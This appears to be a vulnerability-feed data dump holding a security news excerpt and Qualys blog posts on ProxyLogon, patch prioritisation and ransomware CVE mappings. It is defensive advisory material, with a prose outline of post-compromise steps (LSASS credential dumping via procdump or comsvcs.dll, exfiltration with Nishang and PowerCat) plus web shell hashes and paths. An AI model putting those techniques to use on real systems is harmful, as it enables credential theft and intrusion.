[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2022-06-22T22:02:22", "description": "According to the recently released [Verizon DBIR](<https://www.verizon.com/business/resources/reports/2022/dbir/2022-data-breach-investigations-report-dbir.pdf>) report, vulnerability exploitation continued to be one of the top three attack vectors exploited by bad actors in 2021 to break into organizations. As of this writing, it\u2019s only June, but more than 10,000 vulnerabilities have already been disclosed in 2022, according to the [National Vulnerability Database](<https://nvd.nist.gov/vuln/search/statistics?form_type=Basic&results_type=statistics&search_type=all&isCpeNameSearch=false>) (NVD). As if that weren\u2019t bad enough, the rate of increase of ransomware attacks last year was more than the last five years combined. \n\nThe resources required to patch all these vulnerabilities have not kept up with the pace at which vulnerabilities are disclosed and exploited. This is a big problem for even the largest enterprise. \n\nAdd to these sobering statistics the fact that the correct remediation path is not always straightforward. In some cases, patching a vulnerability can require deploying a patch, making a configuration change, or both. Either of these actions can introduce operational risk. IT teams responsible for ensuring systems are always up and running rightfully want to vet these changes _before _they go live. \n\nUnfortunately, all these decisions introduce delays in the remediation process \u2013 which is exactly what hackers and attackers are counting on. \n\nFor example, DearCry Ransomware that spread through the ProxyLogon (CVE-2021-26855)** **vulnerability exploited unpatched instances in IT environments within a mere seven days after the vulnerability was disclosed. According to an analysis completed by the Qualys Research Team, most organizations took more than eight days to remediate ProxyLogon. Some took even longer, taking on even more risk. \n\n## Level Up Remediation with Risk Prioritization Scores in VMDR 2.0 with Qualys TruRisk**TM** \n\n\n\n[Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) introduces TruRisk scores that help organizations prioritize vulnerabilities based on risk ratings that weigh multiple factors such as exploit code maturity, exploitation in the wild, and multiple other factors that accurately measure risk. \n\nCybersecurity teams can now efficiently prioritize vulnerabilities by focusing first on the riskiest vulnerabilities to their own specific and unique environment. Instead of prioritizing vulnerabilities based on CVSS score alone, VMDR 2.0 with Qualys TruRisk helps customers focus on the much smaller and more manageable set of vulnerabilities that are currently exploited by threat actors and have no or limited mitigating controls applied in the customer\u2019s environment. This helps enterprises large and small be more efficient with their remediation campaigns and focus first on remediating the riskiest vulnerabilities to their business. \n\n## Automate Efficient Remediation Processes based on TruRisk Scores \n\nA key step in any remediation workflow is good communication between the vulnerability management (VM) team and the remediation team. The VM team analyzes and prioritizes risk across all known vulnerabilities. The remediation team researches and finds the relevant patches and configuration changes required to address the VM list. However, these two teams use different products and different terminology. The VM team understands the risk and QIDs. The remediation team understands patches. \n\nIn some cases, patching alone is required to remediate a security risk (i.e. QID). In other cases, merely patching is not enough; a registry key change is also required to remediate the QID. Organizations spend valuable time mapping their prioritized list of vulnerabilities against the patches and/or configuration changes required in their environment to remediate. Using multiple tools in this process further complicates and slows MTTR. \n\nTo solve this problem, Qualys VMDR 2.0 allows the VM team to select the vulnerabilities flagged as the highest risk by TruRisk and create a job that\u2019s ready to be deployed for the remediation team. As part of any job, Qualys maps the selected vulnerabilities to the right patches and configuration changes required to remediate them specific to the organization\u2019s unique environment. This allows the remediation team to focus on the core actions of testing and deploying the right patches and configuration changes against their assets. Thus, all the extra time and effort required using two separate tools are eliminated. \n\nProactive automation can further speed up the process of detection, prioritization, and remediation. For some assets, this entire process can be automated with VMDR 2.0. For example, a zero-touch automation job can be created to patch non-mission critical assets that will automatically execute as soon as a new vulnerability with a Qualys Detection Score >90 is detected. This automation instructs Qualys Patch Management to find the right patches and automatically deploy them to the asset. Both teams benefit from automation of an MTTR process that\u2019s proactive and faster to address newly discovered vulnerabilities with the highest risk to their environment. \n\n## Integrated Patch Management is Simply Faster\n\nWhen we introduced Qualys VMDR back in 2020 we understood that enterprises were struggling with patch management, and so we introduced an integrated solution which helped organizations patch faster than ever before. \n\nRecently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released its [list of the most exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). Qualys VMDR syncs with this list and maps all vulnerabilities flagged by CISA to their relevant QIDs. \n\nUsing this data, Qualys ran an anonymized analysis to understand the average number of days it takes our customer organizations to remediate CISA flagged vulnerabilities. As part of the analysis, we compared organizations that use a _single _product (VMDR with [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>)) to help bridge the gap between vulnerability discovery by Security teams and remediation by IT Operations\u2026 to organizations that use _two separate_ products. \n\nThe results in the table below emphasize the importance of an enterprise simplifying and automating its detection, prioritization, and remediation processes. On average, organizations that use Qualys VMDR + Patch Management remediate vulnerabilities 35% faster than organizations that use separate tools. Even better, with some vulnerabilities the difference can be 63% faster with a combined solution. \n\nHere's the detailed analysis: \n\nQualys Customers' average remediation time savings with integrated patching\n\nMany organizations continue to struggle with vulnerability remediation workflow. By adopting a single unified solution for both vulnerability management and patch management, enterprises both large and small can reduce their average remediation time significantly and improve their security posture as a result. \n\nQualys Patch Management is built into the Qualys Cloud Agent, so any current Qualys VMDR customer can easily enable patch management capabilities. There is no need to install new software or make any network changes. \n\nTo try this integrated patch management approach with the newly released VMDR 2.0, [sign up for a trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-22T21:23:51", "type": "qualysblog", "title": "Risk-based Remediation Powered by Patch Management in Qualys VMDR 2.0", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-06-22T21:23:51", "id": "QUALYSBLOG:B0EFD469309D1127FA70F0A42934D5BC", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-11T20:27:44", "description": "**Update March 10, 2021**: A new section describes how to respond with mitigation controls if patches cannot be applied, as recommended by Microsoft. This section details the Qualys Policy Compliance control ids for each vulnerability.\n\n**Update March 8, 2021**: Qualys has released an additional QID: 50108 which remotely detects instances of Exchange Server vulnerable to ProxyLogon vulnerability CVE-2021-26855 without authentication. QID 50108 is available in VULNSIGS-2.5.125-3 version and above, and is available across all platforms as of March 8th, 1:38 AM ET. This QID is not applicable to agents, so the signature version for the agent will not be updated. QID: 50107, released in VULNSIGS-2.5.121-4 and Windows Cloud Agent manifest 2.5.121.4-3 and above, will accurately detect this vulnerability via agents.\n\n**Original Post**: On March 2nd, [Microsoft released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) a set of out-of-band security updates to address critical remote code execution vulnerabilities in Microsoft Exchange Server. According to Microsoft these vulnerabilities are actively being exploited in the wild, and hence it is recommended to patch them immediately.\n\nTo detect vulnerable instances, Qualys released QID 50107 which detects all vulnerable instances of Exchange server. This QID is included in VULNSIGS-2.5.121-4 version and above.\n\nCVEs addressed as part of this QID are: CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.\n\nAmong the above CVEs, [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) are being actively targeted in the wild using zero-day exploits. Microsoft attributes these attacks with high confidence to the HAFNIUM (Chinese cyber spy) threat actor group. These vulnerabilities are related to the following versions of Exchange Server:\n\n * Exchange Server 2013\n * Exchange Server 2016\n * Exchange Server 2019\n\nAt the time of the security update release the vulnerabilities affect only on-premises Microsoft Exchange Server installations. Exchange online is not affected.\n\n### CVE Technical Details\n\n**[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>)** is a Server-Side Request Forgery (SSRF) vulnerability that allows attackers to send arbitrary HTTP requests and authenticate to on-premises Exchange servers. Attackers can also trick the Exchange server to execute arbitrary commands by exploiting this vulnerability.\n\n**[CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>)** is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Attackers who successfully exploit this vulnerability can run their code as SYSTEM on the Exchange server. \n\n**[CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>)** is a post-authentication arbitrary file write vulnerability in Exchange. Exploiting this vulnerability could allow an attacker to write a file to any part of the target Exchange server. Attackers exploiting this vulnerability could write a file to any path on the target Exchange server.\n\n**[CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>)** is a post-authentication arbitrary file write vulnerability in Exchange. Similar to CVE-2021-26858, exploiting this vulnerability could allow an attacker to write a file to any path of the target Exchange server.\n\n### Attack Chain\n\nMicrosoft has provided details regarding how the HAFNIUM (threat actor) group is exploiting the above-mentioned critical CVEs. Following sequence of steps summarizes Microsoft\u2019s findings.\n\n 1. The initial step in the attack chain includes the threat actor group making an untrusted connection to the target Exchange server (on port 443) using CVE-2021-26855.\n 2. After successfully establishing the connection, the threat actor group exploits CVE-2021-26857 that gives them ability to run code as SYSTEM on the target Exchange server. This requires administrator permission or another vulnerability to exploit.\n 3. As part of their post-authentication actions, the threat actor group exploits [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) and proceeds to writing files to any path of the target server.\n\nIt has been observed that after gaining the initial access, the threat actor group deployed web shells on the target compromised server.\n\nFollowing table shows the MITRE ATT&CK Technique and Tactic details.\n\n**Tactic**| **Technique**| **Sub-Technique**| **TID** \n---|---|---|--- \nReconnaissance| Gather Victim Identity Information| Email Addresses| T1589.002 \nReconnaissance| Gather Victim Identity Information| IP Addresses| T1589.005 \nResource Development| Develop Capabilities| Exploits| T1587.004 \nInitial Access| Exploit Public-Facing Application| -| T1190 \nExecution| Command and scripting interpreter| PowerShell| T1059.001 \nPersistence| Create Account| Domain Account| T1136.002 \nPersistence| Server Software Component| Web Shell| T1505.003 \nCredential Access| OS Credential Dumping| LSASS Memory| T1003.001 \nCredential Access| OS Credential Dumping| NTDS| T1003.003 \nLateral Movement| Remote Services| SMB/Windows Admin Shares| T1201.002 \nCollection| Archive Collected Data| Archive via Utility| T1560.001 \nCollection| Email Collection| Remote Email Collection| T1114.002 \nCollection| Email Collection| Local Email Collection| T114.001 \nCommand and Control| Remote Access Software| -| T1219 \nExfiltration| Exfiltration over Web Service| Exfiltration to Cloud Storage| T1567.002 \n \n### Discover and Remediate the Zero-Day Vulnerabilities Using Qualys VMDR\n\n##### Identify Microsoft Exchange Server Assets\n\nThe first step in managing these critical vulnerabilities and reducing risk is identification of assets. [Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) makes it easy to identify Windows Exchange server systems.\n\nQuery: _operatingSystem.category:Server and operatingSystem.category1:`Windows` and software:(name:Microsoft Exchange Server)_\n\n\n\nOnce the hosts are identified, they can be grouped together with a \u2018dynamic tag\u2019, let\u2019s say \u2013 \u201cExchange Server 0-day\u201d. This helps in automatically grouping existing hosts with the 0-days as well as any new Windows Exchange server that spins up in your environment. Tagging makes these grouped assets available for querying, reporting and management throughout the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>).\n\n##### Discover Exchange Server Zero-Day Vulnerabilities\n\nNow that hosts running Microsoft Exchange Server are identified, you want to detect which of these assets have flagged this vulnerability. VMDR automatically detects new vulnerabilities like these based on the always updated KnowledgeBase (KB).\n\nYou can see all your impacted hosts for this vulnerability tagged with the \u2018Exchange Server 0-day\u2019 asset tag in the vulnerabilities view by using this QQL query:\n\nVMDR query: `vulnerabilities.vulnerability.qid:50107`\n\n\n\nQID 50107 is available in signature version VULNSIGS-2.5.121-4 and above and can be detected using authenticated scanning or the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) manifest version 2.5.121.4-3 and above.\n\nQualys has released an additional QID: 50108 which remotely detects instances of Exchange Server vulnerable to ProxyLogon vulnerability CVE-2021-26855 without authentication. This QID is not applicable to agents. QID 50108 is available in VULNSIGS-2.5.125-3 version and above.\n\nOrganizations that use on-premises Exchange installations typically also enable Outlook Web Access (OWA), which is exposed to the internet to allow users to connect into their e-mail systems. It is therefore recommended organizations employ both remote and authenticated scanning methods to get the most accurate view of vulnerable assets, as using only the agent-based approach would not provide a comprehensive picture of the vulnerability exposure.\n\nWith VMDR Dashboard, you can track 'Exchange 0-day', impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment using the Exchange Server 0-Day Dashboard.\n\n**Dashboard**: [Exchange Server 0-Day Dashboard | Critical Global View](<https://qualys-secure.force.com/customer/s/article/000006564>)\n\n\n\n##### Respond by Patching\n\nVMDR rapidly remediates the Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select \u201cqid: 50107\u201d in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go for hosts grouped together by a tag \u2013 Exchange Server 0-day.\n\n\n\nSecurity updates are available for the following specific versions of Exchange:\n\n * [Update for Exchange Server 2019](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b>): Requires Cumulative Update (CU) 8 or CU 7\n * [Update for Exchange Server 2016](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b>): Requires CU 19 or CU 18\n * [Update for Exchange Server 2013](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b>): Requires CU 23\n * [Update for Exchange Server 2010](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2010-service-pack-3-march-2-2021-kb5000978-894f27bf-281e-44f8-b9ba-dad705534459>): Requires SP 3 or any SP 3 RU\n * This is a defense-in-depth update.\n\nUsers are encouraged to apply patches as soon as possible.\n\n##### Respond with Mitigation Controls if Patches Cannot Be Applied\n\nWe recognize not all organizations may be able patch their systems right away. In such scenarios Microsoft has recommended a few [interim mitigation controls](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) to limit the exploitation of these vulnerabilities. [Qualys Policy Compliance](<https://www.qualys.com/apps/policy-compliance/>) has added controls based on these recommendations for impacted Exchange Servers 2013, 2016, and 2019. The vulnerability details and corresponding Control IDs (CIDs) are provided below.\n\n**CVE-2021-26855**: This mitigation will filter https requests that contain malicious X-AnonResource-Backend and malformed X-BEResource cookies which were found to be used in the SSRF attacks in the wild. This will help with defense against the known patterns observed but not the SSRF as a whole.\n\n * **CID 20831** - Status of match URL of rewrite rule 'X-BEResource Abort - inbound' for which action is 'AbortRequest at site level\n * **CID 20834** - Status of match URL of rewrite rule 'X-AnonResource-Backend Abort - inbound' for which action is 'AbortRequest at site level\n\n**CVE-2021-26857**: Disabling the UM Service will mitigate this vulnerability.\n\n * **CID 20829** - Status of 'component' installed on the MS Exchange server\n * **CID 20828** - Status of Microsoft Exchange Unified Messaging Call Router service\n * **CID 20827** - Status of Microsoft Exchange Unified Messaging service\n\n**CVE-2021-27065**: Disabling OAB Application Pool will prevent this CVE from executing successfully as the API will no longer respond and return a 503 when calling OAB, which will mitigate the Arbitrary Write exploit that occurs with OAB. After stopping the WebApp Pool you will also need to set the OabProxy Server Component state to Inactive.\n\n * **CID 20832** - Check the 'startMode' of the OAB Application Pool (MSExchangeOABAppPool)\n\n**CVE-2021-26858**: Disabling ECP Virtual Directory will prevent CVE-2021-27065 from executing successfully as the API will no longer respond and return a 503 when calling the Exchange Control Panel (ECP).\n\n * **CID 20833** - Check the 'startMode' of the ECP Application Pool (MSExchangeECPAppPool)\n\nQualys Policy Compliance can be used to easily monitor these mitigating controls for impacted Exchange assets.\n\n\n\nDrill down into failing controls to view details and identify issues.\n\n\n\n### Post-Compromise Detection Details\n\nAfter compromising a system, an adversary can perform the following activity:\n\nUse legitimate utilities such as procdump or the rundll32 comsvcs.dll method to dump the LSASS process memory. Presumably, this follows exploitation via CVE-2021-26857 as these methods do need administrative privileges.\n\n\n\nUse 7-Zip or WinRar to compress files for exfiltration.\n\n\n\nUse PowerShell based remote administration tools such as Nishang & PowerCat to exfiltrate this data.\n\n\n\nTo maintain persistent access on compromised systems, adversaries may also create a domain user account and install ASPX- and PHP-based web shells for command and control. Information about their probable location and their related hashes are mentioned below.\n\n**Web shell hashes**:\n \n \n b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e\n 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1\n 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944\n\n**Web shell paths**:\n\n`C:\\inetpub\\wwwroot\\aspnet_client\\ \nC:\\inetpub\\wwwroot\\aspnet_client\\system_web\\ \n%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \n%PROGRAMFILES%\\Microsoft\\Exchange Server\\V14\\FrontEnd\\HttpProxy\\owa\\auth\\ \nC:\\Exchange\\FrontEnd\\HttpProxy\\owa\\auth\\`\n\n### References\n\n * https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901\n * https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "cvss3": {}, "published": "2021-03-03T22:12:19", "type": "qualysblog", "title": "Microsoft Exchange Server Zero-Days (ProxyLogon) \u2013 Automatically Discover, Prioritize and Remediate Using Qualys VMDR", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-03T22:12:19", "id": "QUALYSBLOG:479A14480548534CBF2C80AFA3FFC840", "href": "https://blog.qualys.com/category/vulnerabilities-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-05T16:35:26", "description": "With most employees still working from remote locations, ransomware attacks have increased steadily since the early months of the Covid-19 pandemic. According to the FBI\u2019s 2020 Internet Crime Report 2400+ ransomware-related incidents in 2020 resulted in a loss of about 29 million dollars. These numbers are only getting worse and do not include damage from incidents not reported to the FBI.\n\nRansomware attacks affect various industries worldwide, and ransomware demands continue to increase. Some recent examples include:\n\n * [Conti Ransomware:](<https://us-cert.cisa.gov/ncas/alerts/aa21-265a>) Conti ransomware is spread using spear phishing campaigns through tailored emails that contain malicious attachments or malicious links and via stolen or weak Remote Desktop Protocol (RDP) credentials. \n * [Netfilm Ransomware](<https://blog.qualys.com/vulnerabilities-threat-research/2021/05/12/nefilim-ransomware>): Nefilim ransomware is distributed through exposed Remote Desktop Protocol (RDP) setups by brute-forcing them and using other known vulnerabilities for initial access, such as Citrix gateway devices.\n * [REvil Ransomware:](<https://blog.qualys.com/product-tech/2021/07/08/kaseya-revil-ransomware-attack-cve-2021-30116-automatically-discover-and-prioritize-using-qualys-vmdr>) REvil is a ransomware family that operates as ransomware-as-a-service (RaaS), has been linked to GOLD SOUTHFIELD, a financially motivated group, and was first identified in April 2019 according to MITRE.\n * [DarkSide Ransomware](<https://blog.qualys.com/vulnerabilities-threat-research/2021/06/09/darkside-ransomware>) : DarkSide ransomware performs brute force attacks and exploits known vulnerabilities in the remote desktop protocol (RDP) to gain initial access. DarkSide ransomware, first seen in August 2020 and updated as v2.0 in March 2021, is associated with the DarkSide group and now often operates as RaaS.\n * [Michigan State University (May 2020)](<https://www.zdnet.com/article/michigan-state-university-hit-by-ransomware-gang/>) - The MSU administrators were given a week to pay an undisclosed ransom demand to decrypt their files. In case MSU officials refuse to pay or choose to restore backups, the cybercriminals were prepared to leak documents stolen from the university's network on a special website the group is operating on the dark web.\n * [DearCry and Exchange vulnerabilities](<https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/>) - DearCry ransomware attacks exploited Microsoft Exchange Server vulnerabilities CVE-2021-26855 and CVE-2021-27065. These vulnerabilities were being widely exploited before patches were available. Forcing Microsoft to release out-of-band updates. \n * [Colonial Pipeline](<https://www.cnbc.com/2021/06/08/colonial-pipeline-ceo-testifies-on-first-hours-of-ransomware-attack.html>) - Colonial Pipeline was most likely target of ransomware attack due vulnerable, outdated version of Microsoft Exchange. Attackers potentially exploited these vulnerabilities, and as a result, Colonial Pipeline took its systems down to contain the threat, limiting gasoline supply to the east coast. \n\nAs seen above, industries ranging from education, manufacturing, electronics, research, health and more are impacted by ransomware.\n\nTo help organizations combat risks from ransomware, Qualys is introducing Ransomware Risk Assessment service. As outlined in [_our blog_](<https://blog.qualys.com/product-tech/2021/10/05/assess-risk-ransomware-attacks-qualys-research>), the Qualys Ransomware Risk Assessment & Remediation service leverages the security intelligence which is curated by Qualys Research experts to map ransomware families to specific vulnerabilities, misconfigurations, and vulnerable software. The Qualys Ransomware Risk Assessment service enables organizations to:\n\n * Get a unified view into critical ransomware exposures such as internet-facing vulnerabilities and misconfigurations, insecure remote desktop gateways (RDP), as well as detection of risky software in datacenter environment along with alerting for assets missing anti-malware solutions. \n * Accelerate remediation of Ransomware exposure~~s~~ with zero-touch patching by continuously patching ransomware-vulnerabilities as they are detected. The remediation plan also enables proactive patching for prioritized software to help you keep software up to date. \n\n#### **Ransomware Infection Vectors**\n\nAlthough cyber criminals use a variety of techniques to infect victims with ransomware, the most common means of infection are: \n\n * **Remote Desktop Protocol** (RDP) vulnerabilities: RDP allows individuals to see and control the system remotely. It is a very common practice in organizations as it provides easy access to systems remotely. Once cybercriminals have RDP access, they can deploy malicious software on the system, making it inaccessible to legitimate users unless the victim pays the demanded ransom. Shodan search shows currently open and potentially vulnerable RDP services on the internet, and you can buy RDP access for [as low as US$3](<https://www.bankinfosecurity.com/how-much-that-rdp-credential-in-window-a-10590>). \n\n\n\n * **Email phishing campaigns**: Email is a prevalent medium to get malware into the target environment. Cybercriminals use emails to send malicious links to deploy malware on recipients\u2019 machines. It allows cybercriminals to steal sensitive data without breaking through network security and is very common among cybercriminals. \n * **Software vulnerabilities**: Software vulnerabilities are even more prevalent than phishing. Client- and server-side vulnerabilities allow criminals to take advantage of security weaknesses in widely used software programs, gain control of victim systems, and deploy ransomware. Vulnerabilities in VPN systems such as Pulse Secure VPN and Fortinet are common targets as well.\n\n#### **Ransomware Attacks and Exact CVEs To Prioritize for Monitoring**\n\nAs mentioned above known vulnerabilities and weakness are one of the top infection vectors. \n\nQualys research team has performed extensive research on 36 prevalent ransomware families and have mapped them to 64 CVEs and the 247 QIDs that can detect them. The following is just a sample list of some of most widely used ransomware in the attacks along with the CVEs leveraged to infect systems. \n\n**Ransomware**| **Description**| **CVE (s)**| QID (s) \n---|---|---|--- \nConti | The Conti ransomware strain will not only encrypt important files but will also exfiltrate them to a location controlled by the attacker. This method of extortion-ware is used to force victims to pay the ransom in order to avoid the sensitive data from being leaked. Conti operators are known to use well-known hacking tools such as Mimikatz and Cobalt Strike leading up to the encryption of files | CVE-2020-1472, CVE-2021-34527, \nCVE-2017-0143, CVE-2017-0144, CVE-2017-0145 | 91680, \n91668, \n91785, \n91345, \n91360 \nTeslacrypt, PrincessLocker | TeslaCrypt ransomware was uploaded to VirusTotal in November 2014 but was more widely spread in early 2015 and continues to evolve. TeslaCrypt encrypts the files using AES-256 algorithm until the victim pays the ransom in either Bitcoin or Cash Cards. | CVE-2013-2551, CVE-2015-8651 | 168351, 168350, 124422, 168341, 168340, 100271, 124421 \nLocky, Cerber | Cerber ransomware is ransomware-as-a-service (RaaS), meaning an attacker can distribute the licensed copy of this ransomware over the internet and pay commissions to the developer. | CVE-2016-1019 | 256924, 256922, 177873, 176784, 296029, 296028, 170815, 170724, 170711, 170365, 256256, 170264, 236438, 170119, 256214, 170052, 276628, 236342, 157445, 169942, 169941, 169923, 276572, 169854, 169853, 176004, 196742, 196725, 370320, 276455, 175965, 168848, 168813, 168792, 168696, 168694, 168594, 100282, 124879, 124872 \nWannaCry, Badrabbit | The WannaCry ransomware \u2014 formally known as WanaCrypt0r 2.0 \u2014 spreads using an exploit called EternalBlue for a Windows OS vulnerability that Microsoft patched in March 2017. | CVE-2017-0145 | 91361, 91360, 91359, 91347, 91345 \nDearCRy, BlackKingdom | DearCry takes advantage of compromised Microsoft Exchange Servers with vulnerability CVE-2021-26855. When exploited, cybercriminals gain initial access to the Exchange Server and then install web shells. | CVE-2021-26855 | 50107, 50108 \n \n### Unified View of 